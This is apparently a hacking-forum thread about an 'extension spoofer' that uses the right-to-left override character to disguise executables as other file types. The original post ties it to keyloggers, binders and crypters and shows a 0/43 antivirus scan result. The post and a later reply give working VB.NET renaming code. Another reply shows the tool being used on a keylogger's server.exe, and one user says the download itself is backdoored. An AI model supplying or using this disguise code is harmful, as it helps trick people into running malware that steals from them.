[Victoria J]

First thing is first, all credits to Aeonhack for his theme used in this program.

The reason I call this a snippet is because many people include these types of programs in their keyloggers, file binders, crypters, and more.

To make this program (my way), you'll need:
- Three Textboxes
- Two Buttons

The first button will select the file to be spoofed

Code

Dim browse As New OpenFileDialog
browse.Filter = "Executable Files|*.exe|All Files|*.*"
browse.ShowDialog()
TextBox1.Text = browse.FileName
'Declares a new open file dialog, and filters the extension to executable files or all files
'The first textbox will be the executable's name that was previously chosen

This will allow you to select the file to be spoofed.

The second button will simply rename your file, but in a special way
***Note: The code here looks messed up because of the left to right overdrive character, but in visual basic this will look normal***

Code

My.Computer.FileSystem.RenameFile(TextBox1.Text, TextBox2.Text & "‮" & StrReverse(TextBox3.Text) & ".exe")
'Renames the file from the "browse" open dialog
'The new name is the second textbox, the "" appears to be nothing, but it's the Left To Right Overdrive Character
'The String Reverse function puts the file extension backwards (appears forward)
'Lastly, the file is really saved with the .exe extension

Here is a look at the program itself:
[IMG]http://i1175.photobucket.com/albums/r628/MajorasMaskHF/Spoofer.png[/IMG]

Download Link:
Spoiler (Click to View)http://www.mediafire.com/?v81m93mv4s92vn0

Virus Scan:
Spoiler (Click to View)
SHA256: 888087090661ea79981cfc105f8731a614977c25445f8435a13781d492151326
File name: Extension Spoofer.exe
Detection ratio: 0 / 43
Analysis date: 2012-03-09 02:13:09 UTC ( 1 minute ago )

[NoOB-|]

this the error I m getting when I click spoof

Code

See the end of this message for details on invoking
just-in-time (JIT) debugging instead of this dialog box.

** Exception Text **
System.IO.FileNotFoundException: Could not find file 'C:\Users\Admin\Downloads\Compressed\Emissary Keylogger (1)\server.exe'.
File name: 'C:\Users\Admin\Downloads\Compressed\Emissary Keylogger (1)\server.exe'
   at Microsoft.VisualBasic.FileIO.FileSystem.RenameFile(String file, String newName)
   at Extension_Spoofer.Form1.ClassicButton3_Click(Object sender, EventArgs e)
   at System.Windows.Forms.Control.OnClick(EventArgs e)
   at System.Windows.Forms.Control.WmMouseUp(Message& m, MouseButtons button, Int32 clicks)
   at System.Windows.Forms.Control.WndProc(Message& m)
   at System.Windows.Forms.Control.ControlNativeWindow.OnMessage(Message& m)
   at System.Windows.Forms.Control.ControlNativeWindow.WndProc(Message& m)
   at System.Windows.Forms.NativeWindow.Callback(IntPtr hWnd, Int32 msg, IntPtr wparam, IntPtr lparam)

** Loaded Assemblies **
mscorlib
    Assembly Version: 4.0.0.0
    Win32 Version: 4.0.30319.1 (RTMRel.030319-0100)
    CodeBase: file:///C:/Windows/Microsoft.NET/Framework/v4.0.30319/mscorlib.dll
--
Extension Spoofer
    Assembly Version: 1.0.0.0
    Win32 Version: 1.0.0.0
    CodeBase: file:///C:/Users/Admin/Downloads/Programs/Extension%20Spoofer.exe
--
Microsoft.VisualBasic
    Assembly Version: 10.0.0.0
    Win32 Version: 10.0.30319.1 built by: RTMRel
    CodeBase: file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/Microsoft.VisualBasic/v4.0_10.0.0.0__b03f5f7f11d50a3a/Microsoft.VisualBasic.dll
--
System
    Assembly Version: 4.0.0.0
    Win32 Version: 4.0.30319.1 built by: RTMRel
    CodeBase: file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/System/v4.0_4.0.0.0__b77a5c561934e089/System.dll
--
System.Core
    Assembly Version: 4.0.0.0
    Win32 Version: 4.0.30319.1 built by: RTMRel
    CodeBase: file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/System.Core/v4.0_4.0.0.0__b77a5c561934e089/System.Core.dll
--
System.Windows.Forms
    Assembly Version: 4.0.0.0
    Win32 Version: 4.0.30319.1 built by: RTMRel
    CodeBase: file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/System.Windows.Forms/v4.0_4.0.0.0__b77a5c561934e089/System.Windows.Forms.dll
--
System.Drawing
    Assembly Version: 4.0.0.0
    Win32 Version: 4.0.30319.1 built by: RTMRel
    CodeBase: file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/System.Drawing/v4.0_4.0.0.0__b03f5f7f11d50a3a/System.Drawing.dll
--
System.Runtime.Remoting
    Assembly Version: 4.0.0.0
    Win32 Version: 4.0.30319.1 (RTMRel.030319-0100)
    CodeBase: file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/System.Runtime.Remoting/v4.0_4.0.0.0__b77a5c561934e089/System.Runtime.Remoting.dll
--
System.Xml
    Assembly Version: 4.0.0.0
    Win32 Version: 4.0.30319.1 built by: RTMRel
    CodeBase: file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/System.Xml/v4.0_4.0.0.0__b77a5c561934e089/System.Xml.dll
--

** JIT Debugging **
To enable just-in-time (JIT) debugging, the .config file for this
application or computer (machine.config) must have the
jitDebugging value set in the system.windows.forms section.
The application must also be compiled with debugging
enabled.

For example:

<configuration>
    <system.windows.forms jitDebugging="true" />
</configuration>

When JIT debugging is enabled, any unhandled exception
will be sent to the JIT debugger registered on the computer
rather than be handled by this dialog box.

[Victoria J]

Are you sure your antivirus or something didn't delete or move the program before you clicked the button? Works perfectly for me

[Mahyem]

this the error I m getting when I click spoof

Code

See the end of this message for details on invoking
just-in-time (JIT) debugging instead of this dialog box.

** Exception Text **
System.IO.FileNotFoundException: Could not find file 'C:\Users\Admin\Downloads\Compressed\Emissary Keylogger (1)\server.exe'.

It says everything, maybe your AV delete the program or you don't have admin privileges?

[1patron]

that a fake when i start program in my task manager only cmd/cmd/cmd conhost/conhost that''s is backdoored

[fillobotto]

Anyway this doesn't work, it just add something like "êxe" to the filename

[gixslayer]

the RTLO unicode 'spoof' method does work. Got a working code in C#. It works on my win7 64bit machine but I've read that you need specific settings enabled/installed for the unicode character to work.

[Mr.Nemesis]

Thanx for sharing this...
I was looking for this

[nick_wright_204]

see there is skids like you, why delete the download? retard.

[Cornflower Blue இڿڰۣ-ڰۣ—]

see there is skids like you, why delete the download? retard.

Why grave did this thread? retard skid.

[Wink Emoticon]

Thanks for the tutorial man, I really appreciate it.

[GreyPhantom]

Link is dead. Update link please ..

[Brokeos]

Public Sub ChangeExt(ByVal thefile As String, ByVal theextension As String)
Dim array As Char() = theextension.ToCharArray
array.Reverse(array)
Dim destFileName As String = (thefile.Substring(0, (thefile.Length - 4)) & ChrW(8238) & New String(array) & thefile.Substring((thefile.Length - 4)))
File.Move(thefile, destFileName)
End Sub

[Netwօrk]

Thanks for the tutorial man, I really appreciate it.

Link is dead. Update link please ..

[...]

This thread is dead guys, just don't.

[breathcloth]

Good guide ty for making man :p appreciate it